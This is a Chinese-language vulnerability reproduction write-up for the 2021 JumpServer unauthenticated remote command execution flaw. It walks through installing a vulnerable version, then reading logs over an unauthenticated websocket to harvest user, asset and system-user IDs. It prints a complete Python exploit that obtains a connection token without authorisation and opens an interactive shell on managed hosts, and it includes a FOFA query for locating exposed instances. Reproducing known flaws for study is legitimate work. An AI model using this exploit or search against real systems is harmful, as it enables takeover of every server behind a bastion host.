前言
JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。
2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。
堡垒机(跳板机)的概念
堡垒机,即在一个特定的网络环境下,为了保障网络和数据不受来自外部和内部用户的入侵和破坏,而运用各种技术手段实时收集和监控网络环境中每一个组成部分的系统状态、安全事件、网络活动,以便集中报警、及时处理及审计定责。
直白的来讲就是统一管理资产权限
影响范围
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
fofa语法 app=“FIT2CLOUD-JumpServer-堡垒机”
准备
推荐使用centos7.x(尽量高的配置:4核8G 100G磁盘空间)搭建JumpServer (v2.6.1 新版本已经修复)。
CentOS7系统磁盘扩容
centos7 在原有磁盘空间基础上拓展大小需要清空之前的快照,从客户机操作系统内部对磁盘重新进行分区和拓展文件系统。
系统挂载磁盘
#原本的磁盘,并未扩容 [root@10 ~]# df -h 文件系统 容量 已用 可用 已用% 挂载点 /dev/sda3 10G 6.2G 3.9G 62% / devtmpfs 3.8G 0 3.8G 0% /dev tmpfs 3.9G 0 3.9G 0% /dev/shm tmpfs 3.9G 9.0M 3.9G 1% /run tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup /dev/sda1 197M 152M 46M 78% /boot tmpfs 781M 20K 781M 1% /run/user/0
查看新硬盘分区
fdisk -l /dev/sda #查看磁盘情况 df -lh #查看磁盘占用情况 fdisk /dev/sda #创建新分区 命令行输入 n 创建新分区 d 删除分区 p 显示当前分区 w 配置写入磁盘 xfs_growfs /dev/sda3 #刷新
centos7根目录扩容(根目录在sda3 vgdisplay为空)
扩容之后
搭建
wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh
编辑安装脚本
vi quick_start.sh
将这两个变量的值修改,不改的话默认最先版本,最新版没有漏洞
1. Version="v2.6.1" 2. JMS_Version="v2.6.1"
1. chmod +x ./quick_start.sh 2. ./quick_start.sh
默认会安装到/opt下
1. cd /opt/jumpserver-installer-v2.6.1 2. ./jmsctl.sh start
安装完成后
先访问8080,默认账号密码问admin/admin,进入之后修改默认密码
复现前配置一下堡垒机:
在资源管理中添加一台主机(靶机),实现连接(可以参考官方文档)
访问http://10.10.10.142:8080/luna/?_=1676259416273
复现过程
打开插件
连接ws://youtip:8080/ws/ops/tasks/log进行测试 发送{"task":"/opt/jumpserver/logs/jumpserver"}查看日志
获取system_user user_id asset_id
asset_id=e911a0f0-069c-4ac1-a3ff-6459a4ec9d33 system_user_id=504dd258-3279-4615-bd4d-614a03231bee user_id=aea7a80d-e1a5-44d8-8456-39f4cacd5856
import os import asyncio import aioconsole import websockets import requests import json url = "/api/v1/authentication/connection-token/?user-only=1" def get_celery_task_log_path(task_id): task_id = str(task_id) rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log") path = os.path.join("/opt/jumpserver/", rel_path) return path async def send_msg(websocket, _text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) async def send_loop(ws, session_id): while True: cmdline = await aioconsole.ainput() await send_msg( ws, json.dumps( {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"} ), ) async def recv_loop(ws): while True: recv_text = await ws.recv() ret = json.loads(recv_text) if ret.get("type", "TERMINAL_DATA"): await aioconsole.aprint(ret["data"], end="") # 客户端主逻辑 async def main_logic(): print("#######start ws") async with websockets.connect(target) as client: recv_text = await client.recv() print(f"{recv_text}") session_id = json.loads(recv_text)["id"] print("get ws id:" + session_id) print("###############") print("init ws") print("###############") inittext = json.dumps( { "id": session_id, "type": "TERMINAL_INIT", "data": '{"cols":164,"rows":17}', } ) await send_msg(client, inittext) await asyncio.gather(recv_loop(client), send_loop(client, session_id)) if __name__ == "__main__": host = "http://192.168.31.227:8080" cmd = "whoami" if host[-1] == "/": host = host[:-1] print(host) data = {"user": "aea7a80d-e1a5-44d8-8456-39f4cacd5856", "asset": "e911a0f0-069c-4ac1-a3ff-6459a4ec9d33", "system_user": "504dd258-3279-4615-bd4d-614a03231bee"} print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = ( "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token ) print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic())
运行rce.py
python3 rce.py